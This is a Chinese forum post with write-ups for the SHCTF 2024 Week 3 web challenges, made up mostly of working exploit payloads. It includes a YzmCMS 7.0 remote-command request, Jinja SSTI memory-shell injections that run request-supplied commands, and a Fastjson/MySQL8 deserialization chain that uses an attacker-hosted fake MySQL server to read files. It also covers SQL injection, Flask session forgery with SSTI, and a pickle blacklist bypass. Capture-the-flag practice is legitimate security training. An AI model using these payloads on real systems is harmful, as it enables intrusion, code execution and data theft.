2024SHCTF Week3 WEB
1315609050541697 发表于 湖北 CTF 332浏览 · 2024-10-30 08:57

小小cms

YzmCMS 7.0任意函数调用RCE
搜索7.0版本rce发现可以命令执行

POST /pay/index/pay_callback

out_trade_no[0]=eq&out_trade_no[1]=cat+/f*&out_trade_no[2]=system

love_flask

无回显+不出网那么直接打内存马

打内存马

?name={% if url_for.__globals__['__builtins__']['eval']("app.before_request_funcs.setdefault(None, []).append(lambda : '<pre>{0}</pre>'.format(__import__('os').popen(request.args.get('cmd')).read()) if 'cmd'in request.args.keys() is not None else None ) ", {'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']}) %}benben{% endif%}

或者使用app.add_url_rule动态添加一个路由,请求上下文在_request_ctx_stack的栈里

{% if x.__init__.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}) %}1{% endif %}

或者使用after_request方法

{% if url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)", {'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']}) %}1{% endif %}

Json Flaw

题目提示是Fastjson的应用
有一个登录功能,我们抓包探测fastjson发现存在fastjson

{
  "x": {
    "@type": "java.lang.Character"{
  "@type": "java.lang.Class",
  "val": "org.apache.catalina.startup.Tomcat"
    }
}
}

然后探测依赖包 mysql8

{
  "x": {
    "@type": "java.lang.Character"{
  "@type": "java.lang.Class",
  "val": "com.mysql.cj.protocol.AuthenticationProvider"
    }
}
}

回显这样说明存在依赖

{"timestamp":"2024-10-28T03:41:39.862+0000","status":500,"error":"Internal Server Error","message":"create instance error, null, public com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy(com.mysql.cj.conf.ConnectionUrl) throws java.sql.SQLException","path":"/login"}

我们vps起一个fakemysql工具的服务

python3 server.py

然后打mysql8反序列化,读文件即可

{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection","proxy":{"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy","connectionUrl":{ "@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl" , "masters": [{"host":"ip"}], "slaves":[], "properties":{"host":"ip","user":"fileread_/flag",
"port":"3307",
"dbname":"dbname","password":"pass","allowLoadLocalInfile":"true"}}}}

guess_the_number

这个题目由于种子的范围较小,我们可以直接爆破,然后求第二个随机值

爆破脚本

import flask
import random
from flask import Flask, request, render_template, send_file

for i in range(1000000,9999999):

    random.seed(i)

    first_num = random.randint(1000000000,9999999999)  

    if first_num ==1511211024:

        print(i)

使用种子生成第二个随机数

import flask
import random
from flask import Flask, request, render_template, send_file

for i in range(1):
    random.seed(5755283)
    first_num = random.randint(1000000000,9999999999)
    num = random.randint(1000000000,9999999999)
    print(num)

自助查询

闭合绕过查询数据库得到ctf

1") union select 1,database()

接着查询数据表得到 flag,users

1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())

接着查询数据列得到id,scretdata

1") union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag')

查询字段值 发现flag在注释中

1") union select 1,(select group_concat(scretdata) from flag)

直接读字段注释即可

1") union select 1,(select column_comment from information_schema.columns where table_name='flag' and table_schema=database() limit 1,1)

入侵者禁入

from flask import Flask, session, request, render_template_string
app = Flask(__name__)
app.secret_key = '0day_joker'

@app.route('/')

def index():

    session['role'] = {
        'is_admin': 0,
        'flag': 'your_flag_here'
    }

    with open(__file__, 'r') as file:
        code = file.read()
    return code


@app.route('/admin')
def admin_handler():

    try:

        role = session.get('role')

        if not isinstance(role, dict):

            raise Exception

    except Exception:

        return 'Without you, you are an intruder!'



    if role.get('is_admin') == 1:

        flag = role.get('flag') or 'admin'

        message = "Oh,I believe in you! The flag is: %s" % flag

        return render_template_string(message)

    else:

        return "Error: You don't have the power!"


if __name__ == '__main__':

    app.run('0.0.0.0', port=80)

得到了key,并且还有ssti注入
session伪造,然后flag的值写为sstipayload

python2 flask_session_cookie_manager2.py encode -s "0day_joker" -t '{"role":{"flag":"{{lipsum[\"__globals__\"][\"__builtins__\"][\"eval\"](request.args.y)}}","is_admin":1}}'

然后进行传参命令执行

?y=__import__('os').popen('cat /f*').read()

dickle

题目给了源码如下

from flask import Flask, request
import pickle
import base64
import io


BLACKLISTED_CLASSES = [
    'subprocess.check_output','builtins.eval','builtins.exec',
    'os.system', 'os.popen', 'os.popen2', 'os.popen3', 'os.popen4',
    'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
    'subprocess.call', 'subprocess.check_call', 'subprocess.Popen',
    'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus',
    'pty.spawn', 'posixfile.open', 'posixfile.fileopen',
    '__import__','os.spawn*','sh.Command','imp.load_module','builtins.compile'
    'eval', 'builtins.execfile', 'compile', 'builtins.open', 'builtins.file', 'os.system',
    'os.fdopen', 'os.tmpfile', 'os.fchmod', 'os.fchown', 'os.open', 'os.openpty', 'os.read', 'os.pipe',
    'os.chdir', 'os.fchdir', 'os.chroot', 'os.chmod', 'os.chown', 'os.link', 'os.lchown', 'os.listdir',
    'os.lstat', 'os.mkfifo', 'os.mknod', 'os.access', 'os.mkdir', 'os.makedirs', 'os.readlink', 'os.remove',
    'os.removedirs', 'os.rename', 'os.renames', 'os.rmdir', 'os.tempnam', 'os.tmpnam', 'os.unlink', 'os.walk',
    'os.execl', 'os.execle', 'os.execlp', 'os.execv', 'os.execve', 'os.dup', 'os.dup2', 'os.execvp', 'os.execvpe',
    'os.fork', 'os.forkpty', 'os.kill', 'os.spawnl', 'os.spawnle', 'os.spawnlp', 'os.spawnlpe', 'os.spawnv',
    'os.spawnve', 'os.spawnvp', 'os.spawnvpe', 'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
    'subprocess.call', 'subprocess.check_call', 'subprocess.check_output', 'subprocess.Popen',
    'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus', 'glob.glob',
    'linecache.getline', 'shutil.copyfileobj', 'shutil.copyfile', 'shutil.copy', 'shutil.copy2', 'shutil.move',
    'shutil.make_archive', 'popen2.popen2', 'popen2.popen3', 'popen2.popen4', 'timeit.timeit', 'sys.call_tracing',
    'code.interact', 'code.compile_command', 'codeop.compile_command', 'pty.spawn', 'posixfile.open',
    'posixfile.fileopen'
]



class SafeUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if f"{module}.{name}" in BLACKLISTED_CLASSES:
            raise pickle.UnpicklingError("Forbidden class: %s.%s" % (module, name))
        return super().find_class(module, name)



app = Flask(__name__)

@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "POST":
        encoded_data = request.form["data"]
        decoded_data = base64.b64decode(encoded_data)
        try:
            data_stream = io.BytesIO(decoded_data)
            unpickler = SafeUnpickler(data_stream)
            result = unpickler.load()
            return f"Deserialized data: {list(result)}"
        except Exception as e:
            return f"Error during deserialization: {str(e)}"
    else:
        return """
        <form method="post">
            <label for="data">Enter your serialized data:</label><br>
            <textarea id="data" name="data"></textarea><br>
            <input type="submit" value="Submit">
        </form>
        """



if __name__ == "__main__":
    app.run(port=8080)

由于题目用find_class来hook,我们需要找到黑名单以外的函数
这里我在sys的模块下用读文件函数成功绕过

payload如下

import pickle
import base64
import sys
import builtins


class A(object):
  def __reduce__(self):
    return (sys.modules['_frozen_importlib_external'].SourceFileLoader("flag","/flag").get_source,("flag",))

a = A()
print(base64.b64encode(pickle.dumps(a)))

0 条评论
某人
表情
可输入 255